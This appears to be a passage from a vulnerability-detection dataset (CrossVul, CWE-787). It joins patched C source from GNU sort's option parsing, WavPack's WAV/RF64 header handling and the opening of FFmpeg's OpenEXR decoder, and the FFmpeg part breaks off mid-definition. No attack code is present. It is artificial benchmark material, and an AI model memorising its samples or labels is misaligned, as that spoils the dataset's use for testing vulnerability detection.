(sigismember (&caught_signals, sig[i])) sigaction (sig[i], &act, NULL); #else for (i = 0; i < nsigs; i++) if (signal (sig[i], SIG_IGN) != SIG_IGN) { signal (sig[i], sighandler); siginterrupt (sig[i], 1); } #endif } signal (SIGCHLD, SIG_DFL); /* Don't inherit CHLD handling from parent. */ /* The signal mask is known, so it is safe to invoke exit_cleanup. */ atexit (exit_cleanup); key_init (&gkey); gkey.sword = SIZE_MAX; files = xnmalloc (argc, sizeof *files); while (true) { /* Parse an operand as a file after "--" was seen; or if pedantic and a file was seen, unless the POSIX version predates 1003.1-2001 and -c was not seen and the operand is "-o FILE" or "-oFILE". */ int oi = -1; if (c == -1 || (posixly_correct && nfiles != 0 && ! (obsolete_usage && ! checkonly && optind != argc && argv[optind][0] == '-' && argv[optind][1] == 'o' && (argv[optind][2] || optind + 1 != argc))) || ((c = getopt_long (argc, argv, short_options, long_options, &oi)) == -1)) { if (argc <= optind) break; files[nfiles++] = argv[optind++]; } else switch (c) { case 1: key = NULL; if (optarg[0] == '+') { bool minus_pos_usage = (optind != argc && argv[optind][0] == '-' && ISDIGIT (argv[optind][1])); obsolete_usage |= minus_pos_usage && !posixly_correct; if (obsolete_usage) { /* Treat +POS1 [-POS2] as a key if possible; but silently treat an operand as a file if it is not a valid +POS1. */ key = key_init (&key_buf); s = parse_field_count (optarg + 1, &key->sword, NULL); if (s && *s == '.') s = parse_field_count (s + 1, &key->schar, NULL); if (! (key->sword || key->schar)) key->sword = SIZE_MAX; if (! s || *set_ordering (s, key, bl_start)) key = NULL; else { if (minus_pos_usage) { char const *optarg1 = argv[optind++]; s = parse_field_count (optarg1 + 1, &key->eword, N_("invalid number after '-'")); /* When called with a non-NULL message ID, parse_field_count cannot return NULL. Tell static analysis tools that dereferencing S is safe. */ assert (s); if (*s == '.') s = parse_field_count (s + 1, &key->echar, N_("invalid number after '.'")); if (!key->echar && key->eword) { /* obsolescent syntax +A.x -B.y is equivalent to: -k A+1.x+1,B.y (when y = 0) -k A+1.x+1,B+1.y (when y > 0) So eword is decremented as in the -k case only when the end field (B) is specified and echar (y) is 0. */ key->eword--; } if (*set_ordering (s, key, bl_end)) badfieldspec (optarg1, N_("stray character in field spec")); } key->obsolete_used = true; insertkey (key); } } } if (! key) files[nfiles++] = optarg; break; case SORT_OPTION: c = XARGMATCH ("--sort", optarg, sort_args, sort_types); /* Fall through. */ case 'b': case 'd': case 'f': case 'g': case 'h': case 'i': case 'M': case 'n': case 'r': case 'R': case 'V': { char str[2]; str[0] = c; str[1] = '\0'; set_ordering (str, &gkey, bl_both); } break; case CHECK_OPTION: c = (optarg ? XARGMATCH ("--check", optarg, check_args, check_types) : 'c'); /* Fall through. */ case 'c': case 'C': if (checkonly && checkonly != c) incompatible_options ("cC"); checkonly = c; break; case COMPRESS_PROGRAM_OPTION: if (compress_program && !STREQ (compress_program, optarg)) error (SORT_FAILURE, 0, _("multiple compress programs specified")); compress_program = optarg; break; case DEBUG_PROGRAM_OPTION: debug = true; break; case FILES0_FROM_OPTION: files_from = optarg; break; case 'k': key = key_init (&key_buf); /* Get POS1. */ s = parse_field_count (optarg, &key->sword, N_("invalid number at field start")); if (! key->sword--) { /* Provoke with 'sort -k0' */ badfieldspec (optarg, N_("field number is zero")); } if (*s == '.') { s = parse_field_count (s + 1, &key->schar, N_("invalid number after '.'")); if (! key->schar--) { /* Provoke with 'sort -k1.0' */ badfieldspec (optarg, N_("character offset is zero")); } } if (! (key->sword || key->schar)) key->sword = SIZE_MAX; s = set_ordering (s, key, bl_start); if (*s != ',') { key->eword = SIZE_MAX; key->echar = 0; } else { /* Get POS2. */ s = parse_field_count (s + 1, &key->eword, N_("invalid number after ','")); if (! key->eword--) { /* Provoke with 'sort -k1,0' */ badfieldspec (optarg, N_("field number is zero")); } if (*s == '.') { s = parse_field_count (s + 1, &key->echar, N_("invalid number after '.'")); } s = set_ordering (s, key, bl_end); } if (*s) badfieldspec (optarg, N_("stray character in field spec")); insertkey (key); break; case 'm': mergeonly = true; break; case NMERGE_OPTION: specify_nmerge (oi, c, optarg); break; case 'o': if (outfile && !STREQ (outfile, optarg)) error (SORT_FAILURE, 0, _("multiple output files specified")); outfile = optarg; break; case RANDOM_SOURCE_OPTION: if (random_source && !STREQ (random_source, optarg)) error (SORT_FAILURE, 0, _("multiple random sources specified")); random_source = optarg; break; case 's': stable = true; break; case 'S': specify_sort_size (oi, c, optarg); break; case 't': { char newtab[MB_LEN_MAX + 1]; size_t newtab_length = 1; strncpy (newtab, optarg, MB_LEN_MAX); if (! newtab[0]) error (SORT_FAILURE, 0, _("empty tab")); #if HAVE_MBRTOWC if (MB_CUR_MAX > 1) { wchar_t wc; mbstate_t state; memset (&state, '\0', sizeof (mbstate_t)); newtab_length = mbrtowc (&wc, newtab, strnlen (newtab, MB_LEN_MAX), &state); switch (newtab_length) { case (size_t) -1: case (size_t) -2: case 0: newtab_length = 1; } } #endif if (newtab_length == 1 && optarg[1]) { if (STREQ (optarg, "\\0")) newtab[0] = '\0'; else { /* Provoke with 'sort -txx'. Complain about "multi-character tab" instead of "multibyte tab", so that the diagnostic's wording does not need to be changed once multibyte characters are supported. */ error (SORT_FAILURE, 0, _("multi-character tab %s"), quote (optarg)); } } if (tab_length && (tab_length != newtab_length || memcmp (tab, newtab, tab_length) != 0)) error (SORT_FAILURE, 0, _("incompatible tabs")); memcpy (tab, newtab, newtab_length); tab_length = newtab_length; } break; case 'T': add_temp_dir (optarg); break; case PARALLEL_OPTION: nthreads = specify_nthreads (oi, c, optarg); break; case 'u': unique = true; break; case 'y': /* Accept and ignore e.g. -y0 for compatibility with Solaris 2.x through Solaris 7. It is also accepted by many non-Solaris "sort" implementations, e.g., AIX 5.2, HP-UX 11i v2, IRIX 6.5. -y is marked as obsolete starting with Solaris 8 (1999), but is still accepted as of Solaris 10 prerelease (2004). Solaris 2.5.1 "sort -y 100" reads the input file "100", but emulate Solaris 8 and 9 "sort -y 100" which ignores the "100", and which in general ignores the argument after "-y" if it consists entirely of digits (it can even be empty). */ if (optarg == argv[optind - 1]) { char const *p; for (p = optarg; ISDIGIT (*p); p++) continue; optind -= (*p != '\0'); } break; case 'z': eolchar = 0; break; case_GETOPT_HELP_CHAR; case_GETOPT_VERSION_CHAR (PROGRAM_NAME, AUTHORS); default: usage (SORT_FAILURE); } } if (files_from) { FILE *stream; /* When using --files0-from=F, you may not specify any files on the command-line. */ if (nfiles) { error (0, 0, _("extra operand %s"), quote (files[0])); fprintf (stderr, "%s\n", _("file operands cannot be combined with --files0-from")); usage (SORT_FAILURE); } if (STREQ (files_from, "-")) stream = stdin; else { stream = fopen (files_from, "r"); if (stream == NULL) error (SORT_FAILURE, errno, _("cannot open %s for reading"), quote (files_from)); } readtokens0_init (&tok); if (! readtokens0 (stream, &tok) || fclose (stream) != 0) error (SORT_FAILURE, 0, _("cannot read file names from %s"), quote (files_from)); if (tok.n_tok) { size_t i; free (files); files = tok.tok; nfiles = tok.n_tok; for (i = 0; i < nfiles; i++) { if (STREQ (files[i], "-")) error (SORT_FAILURE, 0, _("when reading file names from stdin, " "no file name of %s allowed"), quote (files[i])); else if (files[i][0] == '\0') { /* Using the standard 'filename:line-number:' prefix here is not totally appropriate, since NUL is the separator, not NL, but it might be better than nothing. */ unsigned long int file_number = i + 1; error (SORT_FAILURE, 0, _("%s:%lu: invalid zero-length file name"), quotearg_colon (files_from), file_number); } } } else error (SORT_FAILURE, 0, _("no input from %s"), quote (files_from)); } /* Inheritance of global options to individual keys. */ for (key = keylist; key; key = key->next) { if (default_key_compare (key) && !key->reverse) { key->ignore = gkey.ignore; key->translate = gkey.translate; key->skipsblanks = gkey.skipsblanks; key->skipeblanks = gkey.skipeblanks; key->month = gkey.month; key->numeric = gkey.numeric; key->general_numeric = gkey.general_numeric; key->human_numeric = gkey.human_numeric; key->version = gkey.version; key->random = gkey.random; key->reverse = gkey.reverse; } need_random |= key->random; } if (!keylist && !default_key_compare (&gkey)) { gkey_only = true; insertkey (&gkey); need_random |= gkey.random; } check_ordering_compatibility (); if (debug) { if (checkonly || outfile) { static char opts[] = "X --debug"; opts[0] = (checkonly ? checkonly : 'o'); incompatible_options (opts); } /* Always output the locale in debug mode, since this is such a common source of confusion. */ if (hard_LC_COLLATE) error (0, 0, _("using %s sorting rules"), quote (setlocale (LC_COLLATE, NULL))); else error (0, 0, _("using simple byte comparison")); key_warnings (&gkey, gkey_only); } reverse = gkey.reverse; if (need_random) random_md5_state_init (random_source); if (temp_dir_count == 0) { char const *tmp_dir = getenv ("TMPDIR"); add_temp_dir (tmp_dir ? tmp_dir : DEFAULT_TMPDIR); } if (nfiles == 0) { static char *minus = (char *) "-"; nfiles = 1; free (files); files = &minus; } /* Need to re-check that we meet the minimum requirement for memory usage with the final value for NMERGE. */ if (0 < sort_size) sort_size = MAX (sort_size, MIN_SORT_SIZE); if (checkonly) { if (nfiles > 1) error (SORT_FAILURE, 0, _("extra operand %s not allowed with -%c"), quote (files[1]), checkonly); if (outfile) { static char opts[] = {0, 'o', 0}; opts[0] = checkonly; incompatible_options (opts); } /* POSIX requires that sort return 1 IFF invoked with -c or -C and the input is not properly sorted. */ exit (check (files[0], checkonly) ? EXIT_SUCCESS : SORT_OUT_OF_ORDER); } /* Check all inputs are accessible, or exit immediately. */ check_inputs (files, nfiles); /* Check output is writable, or exit immediately. */ check_output (outfile); if (mergeonly) { struct sortfile *sortfiles = xcalloc (nfiles, sizeof *sortfiles); size_t i; for (i = 0; i < nfiles; ++i) sortfiles[i].name = files[i]; merge (sortfiles, 0, nfiles, outfile); IF_LINT (free (sortfiles)); } else { if (!nthreads) { unsigned long int np = num_processors (NPROC_CURRENT_OVERRIDABLE); nthreads = MIN (np, DEFAULT_MAX_THREADS); } /* Avoid integer overflow later. */ size_t nthreads_max = SIZE_MAX / (2 * sizeof (struct merge_node)); nthreads = MIN (nthreads, nthreads_max); sort (files, nfiles, outfile, nthreads); } if (have_read_stdin && fclose (stdin) == EOF) die (_("close failed"), "-"); exit (EXIT_SUCCESS); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_1619_0
crossvul-cpp_data_good_95_0
//////////////////////////////////////////////////////////////////////////// // **** WAVPACK **** // // Hybrid Lossless Wavefile Compressor // // Copyright (c) 1998 - 2016 David Bryant. // // All Rights Reserved. // // Distributed under the BSD Software License (see license.txt) // //////////////////////////////////////////////////////////////////////////// // riff.c // This module is a helper to the WavPack command-line programs to support WAV files // (both MS standard and rf64 varients). #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <math.h> #include <stdio.h> #include <ctype.h> #include "wavpack.h" #include "utils.h" #include "md5.h" #pragma pack(push,4) typedef struct { char ckID [4]; uint64_t chunkSize64; } CS64Chunk; typedef struct { uint64_t riffSize64, dataSize64, sampleCount64; uint32_t tableLength; } DS64Chunk; typedef struct { char ckID [4]; uint32_t ckSize; char junk [28]; } JunkChunk; #pragma pack(pop) #define CS64ChunkFormat "4D" #define DS64ChunkFormat "DDDL" #define WAVPACK_NO_ERROR 0 #define WAVPACK_SOFT_ERROR 1 #define WAVPACK_HARD_ERROR 2 extern int debug_logging_mode; int ParseRiffHeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config) { int is_rf64 = !strncmp (fourcc, "RF64", 4), got_ds64 = 0, format_chunk = 0; int64_t total_samples = 0, infilesize; RiffChunkHeader riff_chunk_header; ChunkHeader chunk_header; WaveHeader WaveHeader; DS64Chunk ds64_chunk; uint32_t bcount; CLEAR (WaveHeader); CLEAR (ds64_chunk); infilesize = DoGetFileSize (infile); if (!is_rf64 && infilesize >= 4294967296LL && !(config->qmode & QMODE_IGNORE_LENGTH)) { error_line ("can't handle .WAV files larger than 4 GB (non-standard)!"); return WAVPACK_SOFT_ERROR; } memcpy (&riff_chunk_header, fourcc, 4); if ((!DoReadFile (infile, ((char *) &riff_chunk_header) + 4, sizeof (RiffChunkHeader) - 4, &bcount) || bcount != sizeof (RiffChunkHeader) - 4 || strncmp (riff_chunk_header.formType, "WAVE", 4))) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &riff_chunk_header, sizeof (RiffChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } // loop through all elements of the RIFF wav header // (until the data chuck) and copy them to the output file while (1) { if (!DoReadFile (infile, &chunk_header, sizeof (ChunkHeader), &bcount) || bcount != sizeof (ChunkHeader)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &chunk_header, sizeof (ChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&chunk_header, ChunkHeaderFormat); if (!strncmp (chunk_header.ckID, "ds64", 4)) { if (chunk_header.ckSize < sizeof (DS64Chunk) || !DoReadFile (infile, &ds64_chunk, sizeof (DS64Chunk), &bcount) || bcount != sizeof (DS64Chunk)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &ds64_chunk, sizeof (DS64Chunk))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } got_ds64 = 1; WavpackLittleEndianToNative (&ds64_chunk, DS64ChunkFormat); if (debug_logging_mode) error_line ("DS64: riffSize = %lld, dataSize = %lld, sampleCount = %lld, table_length = %d", (long long) ds64_chunk.riffSize64, (long long) ds64_chunk.dataSize64, (long long) ds64_chunk.sampleCount64, ds64_chunk.tableLength); if (ds64_chunk.tableLength * sizeof (CS64Chunk) != chunk_header.ckSize - sizeof (DS64Chunk)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } while (ds64_chunk.tableLength--) { CS64Chunk cs64_chunk; if (!DoReadFile (infile, &cs64_chunk, sizeof (CS64Chunk), &bcount) || bcount != sizeof (CS64Chunk) || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &cs64_chunk, sizeof (CS64Chunk)))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } } } else if (!strncmp (chunk_header.ckID, "fmt ", 4)) { // if it's the format chunk, we want to get some info out of there and int supported = TRUE, format; // make sure it's a .wav file we can handle if (format_chunk++) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } if (chunk_header.ckSize < 16 || chunk_header.ckSize > sizeof (WaveHeader) || !DoReadFile (infile, &WaveHeader, chunk_header.ckSize, &bcount) || bcount != chunk_header.ckSize) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &WaveHeader, chunk_header.ckSize)) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&WaveHeader, WaveHeaderFormat); if (debug_logging_mode) { error_line ("format tag size = %d", chunk_header.ckSize); error_line ("FormatTag = %x, NumChannels = %d, BitsPerSample = %d", WaveHeader.FormatTag, WaveHeader.NumChannels, WaveHeader.BitsPerSample); error_line ("BlockAlign = %d, SampleRate = %d, BytesPerSecond = %d", WaveHeader.BlockAlign, WaveHeader.SampleRate, WaveHeader.BytesPerSecond); if (chunk_header.ckSize > 16) error_line ("cbSize = %d, ValidBitsPerSample = %d", WaveHeader.cbSize, WaveHeader.ValidBitsPerSample); if (chunk_header.ckSize > 20) error_line ("ChannelMask = %x, SubFormat = %d", WaveHeader.ChannelMask, WaveHeader.SubFormat); } if (chunk_header.ckSize > 16 && WaveHeader.cbSize == 2) config->qmode |= QMODE_ADOBE_MODE; format = (WaveHeader.FormatTag == 0xfffe && chunk_header.ckSize == 40) ? WaveHeader.SubFormat : WaveHeader.FormatTag; config->bits_per_sample = (chunk_header.ckSize == 40 && WaveHeader.ValidBitsPerSample) ? WaveHeader.ValidBitsPerSample : WaveHeader.BitsPerSample; if (format != 1 && format != 3) supported = FALSE; if (format == 3 && config->bits_per_sample != 32) supported = FALSE; if (!WaveHeader.NumChannels || WaveHeader.NumChannels > 256 || WaveHeader.BlockAlign / WaveHeader.NumChannels < (config->bits_per_sample + 7) / 8 || WaveHeader.BlockAlign / WaveHeader.NumChannels > 4 || WaveHeader.BlockAlign % WaveHeader.NumChannels) supported = FALSE; if (config->bits_per_sample < 1 || config->bits_per_sample > 32) supported = FALSE; if (!supported) { error_line ("%s is an unsupported .WAV format!", infilename); return WAVPACK_SOFT_ERROR; } if (chunk_header.ckSize < 40) { if (!config->channel_mask && !(config->qmode & QMODE_CHANS_UNASSIGNED)) { if (WaveHeader.NumChannels <= 2) config->channel_mask = 0x5 - WaveHeader.NumChannels; else if (WaveHeader.NumChannels <= 18) config->channel_mask = (1 << WaveHeader.NumChannels) - 1; else config->channel_mask = 0x3ffff; } } else if (WaveHeader.ChannelMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) { error_line ("this WAV file already has channel order information!"); return WAVPACK_SOFT_ERROR; } else if (WaveHeader.ChannelMask) config->channel_mask = WaveHeader.ChannelMask; if (format == 3) config->float_norm_exp = 127; else if ((config->qmode & QMODE_ADOBE_MODE) && WaveHeader.BlockAlign / WaveHeader.NumChannels == 4) { if (WaveHeader.BitsPerSample == 24) config->float_norm_exp = 127 + 23; else if (WaveHeader.BitsPerSample == 32) config->float_norm_exp = 127 + 15; } if (debug_logging_mode) { if (config->float_norm_exp == 127) error_line ("data format: normalized 32-bit floating point"); else if (config->float_norm_exp) error_line ("data format: 32-bit floating point (Audition %d:%d float type 1)", config->float_norm_exp - 126, 150 - config->float_norm_exp); else error_line ("data format: %d-bit integers stored in %d byte(s)", config->bits_per_sample, WaveHeader.BlockAlign / WaveHeader.NumChannels); } } else if (!strncmp (chunk_header.ckID, "data", 4)) { // on the data chunk, get size and exit loop int64_t data_chunk_size = (got_ds64 && chunk_header.ckSize == (uint32_t) -1) ? ds64_chunk.dataSize64 : chunk_header.ckSize; if (!WaveHeader.NumChannels || (is_rf64 && !got_ds64)) { // make sure we saw "fmt" and "ds64" chunks (if required) error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) && infilesize - data_chunk_size > 16777216) { error_line ("this .WAV file has over 16 MB of extra RIFF data, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (config->qmode & QMODE_IGNORE_LENGTH) { if (infilesize && DoGetFilePosition (infile) != -1) total_samples = (infilesize - DoGetFilePosition (infile)) / WaveHeader.BlockAlign; else total_samples = -1; } else { total_samples = data_chunk_size / WaveHeader.BlockAlign; if (got_ds64 && total_samples != ds64_chunk.sampleCount64) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } if (!total_samples) { error_line ("this .WAV file has no audio samples, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (total_samples > MAX_WAVPACK_SAMPLES) { error_line ("%s has too many samples for WavPack!", infilename); return WAVPACK_SOFT_ERROR; } } config->bytes_per_sample = WaveHeader.BlockAlign / WaveHeader.NumChannels; config->num_channels = WaveHeader.NumChannels; config->sample_rate = WaveHeader.SampleRate; break; } else { // just copy unknown chunks to output file int bytes_to_copy = (chunk_header.ckSize + 1) & ~1L; char *buff; if (bytes_to_copy < 0 || bytes_to_copy > 4194304) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } buff = malloc (bytes_to_copy); if (debug_logging_mode) error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes", chunk_header.ckID [0], chunk_header.ckID [1], chunk_header.ckID [2], chunk_header.ckID [3], chunk_header.ckSize); if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) || bcount != bytes_to_copy || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, buff, bytes_to_copy))) { error_line ("%s", WavpackGetErrorMessage (wpc)); free (buff); return WAVPACK_SOFT_ERROR; } free (buff); } } if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) { error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } return WAVPACK_NO_ERROR; } int WriteRiffHeader (FILE *outfile, WavpackContext *wpc, int64_t total_samples, int qmode) { int do_rf64 = 0, write_junk = 1, table_length = 0; ChunkHeader ds64hdr, datahdr, fmthdr; RiffChunkHeader riffhdr; DS64Chunk ds64_chunk; CS64Chunk cs64_chunk; JunkChunk junkchunk; WaveHeader wavhdr; uint32_t bcount; int64_t total_data_bytes, total_riff_bytes; int num_channels = WavpackGetNumChannels (wpc); int32_t channel_mask = WavpackGetChannelMask (wpc); int32_t sample_rate = WavpackGetSampleRate (wpc); int bytes_per_sample = WavpackGetBytesPerSample (wpc); int bits_per_sample = WavpackGetBitsPerSample (wpc); int format = WavpackGetFloatNormExp (wpc) ? 3 : 1; int wavhdrsize = 16; if (format == 3 && WavpackGetFloatNormExp (wpc) != 127) { error_line ("can't create valid RIFF wav header for non-normalized floating data!"); return FALSE; } if (total_samples == -1) total_samples = 0x7ffff000 / (bytes_per_sample * num_channels); total_data_bytes = total_samples * bytes_per_sample * num_channels; if (total_data_bytes > 0xff000000) { if (debug_logging_mode) error_line ("total_data_bytes = %lld, so rf64", total_data_bytes); write_junk = 0; do_rf64 = 1; } else if (debug_logging_mode) error_line ("total_data_bytes = %lld, so riff", total_data_bytes); CLEAR (wavhdr); wavhdr.FormatTag = format; wavhdr.NumChannels = num_channels; wavhdr.SampleRate = sample_rate; wavhdr.BytesPerSecond = sample_rate * num_channels * bytes_per_sample; wavhdr.BlockAlign = bytes_per_sample * num_channels; wavhdr.BitsPerSample = bits_per_sample; if (num_channels > 2 || channel_mask != 0x5 - num_channels) { wavhdrsize = sizeof (wavhdr); wavhdr.cbSize = 22; wavhdr.ValidBitsPerSample = bits_per_sample; wavhdr.SubFormat = format; wavhdr.ChannelMask = channel_mask; wavhdr.FormatTag = 0xfffe; wavhdr.BitsPerSample = bytes_per_sample * 8; wavhdr.GUID [4] = 0x10; wavhdr.GUID [6] = 0x80; wavhdr.GUID [9] = 0xaa; wavhdr.GUID [11] = 0x38; wavhdr.GUID [12] = 0x9b; wavhdr.GUID [13] = 0x71; } strncpy (riffhdr.ckID, do_rf64 ? "RF64" : "RIFF", sizeof (riffhdr.ckID)); strncpy (riffhdr.formType, "WAVE", sizeof (riffhdr.formType)); total_riff_bytes = sizeof (riffhdr) + wavhdrsize + sizeof (datahdr) + ((total_data_bytes + 1) & ~(int64_t)1); if (do_rf64) total_riff_bytes += sizeof (ds64hdr) + sizeof (ds64_chunk); total_riff_bytes += table_length * sizeof (CS64Chunk); if (write_junk) total_riff_bytes += sizeof (junkchunk); strncpy (fmthdr.ckID, "fmt ", sizeof (fmthdr.ckID)); strncpy (datahdr.ckID, "data", sizeof (datahdr.ckID)); fmthdr.ckSize = wavhdrsize; if (write_junk) { CLEAR (junkchunk); strncpy (junkchunk.ckID, "junk", sizeof (junkchunk.ckID)); junkchunk.ckSize = sizeof (junkchunk) - 8; WavpackNativeToLittleEndian (&junkchunk, ChunkHeaderFormat); } if (do_rf64) { strncpy (ds64hdr.ckID, "ds64", sizeof (ds64hdr.ckID)); ds64hdr.ckSize = sizeof (ds64_chunk) + (table_length * sizeof (CS64Chunk)); CLEAR (ds64_chunk); ds64_chunk.riffSize64 = total_riff_bytes; ds64_chunk.dataSize64 = total_data_bytes; ds64_chunk.sampleCount64 = total_samples; ds64_chunk.tableLength = table_length; riffhdr.ckSize = (uint32_t) -1; datahdr.ckSize = (uint32_t) -1; WavpackNativeToLittleEndian (&ds64hdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&ds64_chunk, DS64ChunkFormat); } else { riffhdr.ckSize = (uint32_t) total_riff_bytes; datahdr.ckSize = (uint32_t) total_data_bytes; } // this "table" is just a dummy placeholder for testing (normally not written) if (table_length) { strncpy (cs64_chunk.ckID, "dmmy", sizeof (cs64_chunk.ckID)); cs64_chunk.chunkSize64 = 12345678; WavpackNativeToLittleEndian (&cs64_chunk, CS64ChunkFormat); } // write the RIFF chunks up to just before the data starts WavpackNativeToLittleEndian (&riffhdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&fmthdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&wavhdr, WaveHeaderFormat); WavpackNativeToLittleEndian (&datahdr, ChunkHeaderFormat); if (!DoWriteFile (outfile, &riffhdr, sizeof (riffhdr), &bcount) || bcount != sizeof (riffhdr) || (do_rf64 && (!DoWriteFile (outfile, &ds64hdr, sizeof (ds64hdr), &bcount) || bcount != sizeof (ds64hdr))) || (do_rf64 && (!DoWriteFile (outfile, &ds64_chunk, sizeof (ds64_chunk), &bcount) || bcount != sizeof (ds64_chunk)))) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } // again, this is normally not written except for testing while (table_length--) if (!DoWriteFile (outfile, &cs64_chunk, sizeof (cs64_chunk), &bcount) || bcount != sizeof (cs64_chunk)) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } if ((write_junk && (!DoWriteFile (outfile, &junkchunk, sizeof (junkchunk), &bcount) || bcount != sizeof (junkchunk))) || !DoWriteFile (outfile, &fmthdr, sizeof (fmthdr), &bcount) || bcount != sizeof (fmthdr) || !DoWriteFile (outfile, &wavhdr, wavhdrsize, &bcount) || bcount != wavhdrsize || !DoWriteFile (outfile, &datahdr, sizeof (datahdr), &bcount) || bcount != sizeof (datahdr)) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } return TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_95_0
crossvul-cpp_data_good_4486_0
/* * OpenEXR (.exr) image decoder * Copyright (c) 2006 Industrial Light & Magic, a division of Lucas Digital Ltd. LLC * Copyright (c) 2009 Jimmy Christensen * * B44/B44A, Tile, UINT32 added by Jokyo Images support by CNC - French National Center for Cinema * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /** * @file * OpenEXR decoder * @author Jimmy Christensen * * For more information on the OpenEXR format, visit: * http://openexr.com/ * * exr_half2float() is credited to Aaftab Munshi, Dan Ginsburg, Dave Shreiner. */ #include <float.h> #include <zlib.h> #include "libavutil/avassert.h" #include "libavutil/common.h" #include "libavutil/imgutils.h" #include "libavutil/intfloat.h" #include "libavutil/avstring.h" #include "libavutil/opt.h" #include "libavutil/color_utils.h" #include "avcodec.h" #include "bytestream.h" #if HAVE_BIGENDIAN #include "bswapdsp.h" #endif #include "exrdsp.h" #include "get_bits.h" #include "internal.h" #include "mathops.h" #include "thread.h" enum ExrCompr { EXR_RAW, EXR_RLE, EXR_ZIP1, EXR_ZIP16, EXR_PIZ, EXR_PXR24, EXR_B44, EXR_B44A, EXR_DWA, EXR_DWB, EXR_UNKN, }; enum ExrPixelType { EXR_UINT, EXR_HALF, EXR_FLOAT, EXR_UNKNOWN, }; enum ExrTileLevelMode { EXR_TILE_LEVEL_ONE, EXR_TILE_LEVEL_MIPMAP, EXR_TILE_LEVEL_RIPMAP, EXR_TILE_LEVEL_UNKNOWN, }; enum ExrTileLevelRound { EXR_TILE_ROUND_UP, EXR_TILE_ROUND_DOWN, EXR_TILE_ROUND_UNKNOWN, }; typedef struct EXRChannel { int xsub, ysub; enum ExrPixelType pixel_type; } EXRChannel; typedef struct EXRTileAttribute { int32_t xSize; int32_t ySize; enum ExrTileLevelMode level_mode; enum ExrTileLevelRound level_round; } EXRTileAttribute; typedef struct EXRThreadData { uint8_t *uncompressed_data; int uncompressed_size; uint8_t *tmp; int tmp_size; uint8_t *bitmap; uint16_t *lut; int ysize, xsize; int channel_line_size; } EXRThreadData; typedef struct EXRContext { AVClass *class; AVFrame *picture; AVCodecContext *avctx; ExrDSPContext dsp; #if HAVE_BIGENDIAN BswapDSPContext bbdsp; #endif enum ExrCompr compression; enum ExrPixelType pixel_type; int channel_offsets[4]; // 0 = red, 1 = green, 2 = blue and 3 = alpha const AVPixFmtDescriptor *desc; int w, h; int32_t xmax, xmin; int32_t ymax, ymin; uint32_t xdelta, ydelta; int scan_lines_per_block; EXRTileAttribute tile_attr; /* header data attribute of tile */ int is_tile; /* 0 if scanline, 1 if tile */ int is_luma;/* 1 if there is an Y plane */ GetByteContext gb; const uint8_t *buf; int buf_size; EXRChannel *channels; int nb_channels; int current_channel_offset; EXRThreadData *thread_data; const char *layer; enum AVColorTransferCharacteristic apply_trc_type; float gamma; union av_intfloat32 gamma_table[65536]; } EXRContext; /* -15 stored using a single precision bias of 127 */ #define HALF_FLOAT_MIN_BIASED_EXP_AS_SINGLE_FP_EXP 0x38000000 /* max exponent value in single precision that will be converted * to Inf or Nan when stored as a half-float */ #define HALF_FLOAT_MAX_BIASED_EXP_AS_SINGLE_FP_EXP 0x47800000 /* 255 is the max exponent biased value */ #define FLOAT_MAX_BIASED_EXP (0xFF << 23) #define 